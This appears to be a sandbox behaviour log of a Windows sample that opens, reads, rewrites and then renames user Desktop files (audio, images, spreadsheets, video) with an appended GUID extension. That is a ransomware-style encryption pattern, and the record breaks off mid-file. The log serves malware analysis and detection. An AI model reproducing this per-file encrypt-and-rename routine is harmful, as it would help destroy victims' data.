File	Read	filename = C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3, size = 13803, size_out = 13803	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3, size = 13829	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3, destination_filename = C:\Users\FD1HVy\Desktop\2o0RvoNQH3Pnt6RW4e9V.mp3.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3, size = 65476, size_out = 65476	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3, size = 65509	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3, destination_filename = C:\Users\FD1HVy\Desktop\2TxEwTCTxw7fCarfd9s.mp3.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls, size = 84682, size_out = 84682	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls, size = 84709	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls, destination_filename = C:\Users\FD1HVy\Desktop\4tYgLFbf4vLGutZ Yr.xls.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods, size = 35264, size_out = 35264	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods, size = 35301	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods, destination_filename = C:\Users\FD1HVy\Desktop\7AWcMCYzrmcSj02AOd.ods.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots, size = 11134, size_out = 11134	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots, size = 11173	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots, destination_filename = C:\Users\FD1HVy\Desktop\AL2c1H0uH2V75ObWn2WC.ots.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3, size = 36680, size_out = 36680	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3, size = 36709	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3, destination_filename = C:\Users\FD1HVy\Desktop\bIlOji97MBhWI.mp3.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg, size = 82091, size_out = 82091	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg, size = 82117	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg, destination_filename = C:\Users\FD1HVy\Desktop\bvjvPicqNbxCUAF0jjb.jpg.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg, size = 96980, size_out = 96980	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg, size = 97013	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg, destination_filename = C:\Users\FD1HVy\Desktop\BvpCYYHpcrUGg.jpg.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi, size = 51681, size_out = 51681	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi, size = 51717	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi, destination_filename = C:\Users\FD1HVy\Desktop\c88P_1gwS3beXz__x0G.avi.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\Cc1dWs.flv, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\Cc1dWs.flv, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Cc1dWs.flv, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\Cc1dWs.flv, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\Cc1dWs.flv, size = 22227, size_out = 22227	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Cc1dWs.flv, size = 22261	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Cc1dWs.flv, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Cc1dWs.flv, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Cc1dWs.flv, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Cc1dWs.flv, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Cc1dWs.flv, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Cc1dWs.flv, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\Cc1dWs.flv, destination_filename = C:\Users\FD1HVy\Desktop\Cc1dWs.flv.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif, size = 54325, size_out = 54325	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif, size = 54357	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif, destination_filename = C:\Users\FD1HVy\Desktop\CQt7uZQveV9 d-32SC.gif.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi, size = 31322, size_out = 31322	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi, size = 31349	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi, destination_filename = C:\Users\FD1HVy\Desktop\czEq2jPbtoc-alsL.avi.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png, size = 62214, size_out = 62214	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png, size = 62245	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png, destination_filename = C:\Users\FD1HVy\Desktop\dxaVbKx3o LR.png.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\Eezf.mp4, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\Eezf.mp4, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Eezf.mp4, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\Eezf.mp4, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\Eezf.mp4, size = 27105, size_out = 27105	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Eezf.mp4, size = 27141	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Eezf.mp4, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Eezf.mp4, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Eezf.mp4, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Eezf.mp4, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Eezf.mp4, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\Eezf.mp4, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\Eezf.mp4, destination_filename = C:\Users\FD1HVy\Desktop\Eezf.mp4.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav, size = 70443, size_out = 70443	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav, size = 70469	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav, destination_filename = C:\Users\FD1HVy\Desktop\f11Y6vzrSnRuG6gXdJyI.wav.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\he_DSG.swf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\he_DSG.swf, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\he_DSG.swf, size = 1	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Desktop\he_DSG.swf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	2	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\he_DSG.swf, size = 43783, size_out = 43783	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\he_DSG.swf, size = 43813	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\he_DSG.swf, size = 1	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\he_DSG.swf, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\he_DSG.swf, size = 188	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\he_DSG.swf, size = 4	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\he_DSG.swf, size = 1268	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\he_DSG.swf, size = 4	1	Fn Data
File	Move	source_filename = C:\Users\FD1HVy\Desktop\he_DSG.swf, destination_filename = C:\Users\FD1HVy\Desktop\he_DSG.swf.E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Read	filename = C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc, size = 5, size_out = 5	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Desktop\IdcfNSdAI6EpKkJpB.doc, size = 1	1	Fn Data
